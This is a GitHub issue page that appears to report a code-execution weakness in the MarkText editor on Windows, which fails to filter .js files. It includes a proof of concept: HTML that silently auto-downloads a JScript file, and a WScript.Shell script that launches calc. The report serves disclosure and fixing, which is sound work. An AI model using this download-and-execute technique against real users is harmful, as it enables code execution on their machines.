Skip to content

MarkText on Windows doesn't filter WSH JScript, which may cause code execution #3575

Closed

Description

@secnotes

Description

Although marktext filters most dangeruos suffix, it still retains the .js file which will be recognized as WSH(Windows Script Host) JScript on Windows operating system. Users click on evil markdown file may cause code execution.

Version: 0.17.1(latest)

demo

Attachment

poc.md

poc.html

<!-- auto download !-->
<html>
<script>
    var blob = new Blob(['var WshShell = new ActiveXObject("WScript.Shell");var ret = WshShell.run("calc");if (ret == 0)WScript.Echo("You were hacked.");WScript.Quit();'],{type:'application/js'});
    var a = document.createElement('a');
    a.href = window.URL.createObjectURL(blob);
    a.download =  'poc.js';
    a.click();
</script>
</html>

<!-- click to download !-->
<a href="http://127.0.0.1:8000/poc.js" download="poc.js">CLICK~~</a>

poc.js

var WshShell = new ActiveXObject("WScript.Shell");
var ret = WshShell.run("calc");
if (ret == 0)
    WScript.Echo("You were hacked.")
WScript.Quit();

Activity

  1. changed the title [-]Typora on Windows doesn't filter WSH JScript, which may cause code execution[/-] [+]MarkText on Windows doesn't filter WSH JScript, which may cause code execution[/+] on Feb 9, 2023
  2. added
    🐛 bug
    🐞 pri/critical
    🐹 platform/windows
    on May 13, 2026
  3. added a commit that references this issue on Jul 4, 2026
    abd81c1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    🐹 platform/windows🐛 bug🐞 pri/critical

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions